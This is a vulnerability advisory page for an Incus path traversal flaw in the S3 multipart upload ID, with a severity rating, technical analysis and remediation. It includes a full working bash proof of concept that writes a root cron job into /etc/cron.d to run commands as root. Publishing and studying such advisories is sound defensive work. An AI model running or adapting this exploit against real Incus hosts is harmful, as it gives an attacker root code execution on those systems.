Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Network-reachable S3 API with low complexity but mandatory bucket credentials (PR:L); host file write escapes the storage sandbox (S:C) and enables root RCE, giving full C/I/A:H.
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentialsExploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefail
if [ $
# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date
$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '
# body:\n%s' "${body}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"Impact
Arbitrary file write on the host. Possibly leading to arbitrary command execution.
Articles & Coverage 1
AnalysisAI
Arbitrary host file write in Incus before 7.1.0 lets a holder of S3 bucket credentials escape the storage volume via a path-traversal-laden multipart upload ID and plant files anywhere the daemon (typically root) can write, escalating to remote code execution. The flaw lives in the local S3 storage backend's multipart upload handling, where the attacker-supplied uploadId is concatenated onto the uploads directory without sanitization. A complete working PoC exists that drops a /etc/cron.d job for root command execution; no CISA KEV listing or EPSS score is provided, so this is publicly available exploit code rather than confirmed active exploitation.
Technical ContextAI
Incus is a system container and virtual-machine manager (a community fork of LXD, in the LXC project) written in Go. It can optionally expose an S3-compatible object-storage API for storage buckets. The vulnerable code is the local S3 driver's multipart upload path, internal/server/storage/s3/local/multipart.go, where the client-controlled uploadId query parameter is appended directly to the server's uploads directory to form a filesystem path. This is a textbook CWE-73 (External Control of File Name or Path): because '../' sequences in the uploadId are not stripped or validated, an attacker can traverse out of the intended uploads directory and have the uploaded part written to an arbitrary absolute path on the host. The affected package is identified by the Go CPE pkg:go/github.com/lxc/incus/v7/cmd/incusd (the incusd daemon).
RemediationAI
Upgrade to Incus 7.1.0 or later, which contains the fix - Vendor-released patch: 7.1.0 (see advisory GHSA-ccjc-4qc3-jxqc at https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc). If you cannot patch immediately, disable the S3 storage-buckets API by unsetting core.storage_buckets_address (incus config unset core.storage_buckets_address), which closes the attack surface entirely at the cost of removing S3 bucket access for legitimate clients. If the S3 API must stay enabled, restrict network reachability of the buckets address to trusted hosts via firewall rules and rotate/limit issued bucket credentials, and run incusd with the least privilege practical so an arbitrary write cannot reach root-owned paths like /etc/cron.d - though note that incusd typically runs as root, so privilege reduction is limited and not a substitute for upgrading.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same weakness CWE-73 – External Control of File Name or Path
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: CriticalShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-63980
GHSA-ccjc-4qc3-jxqc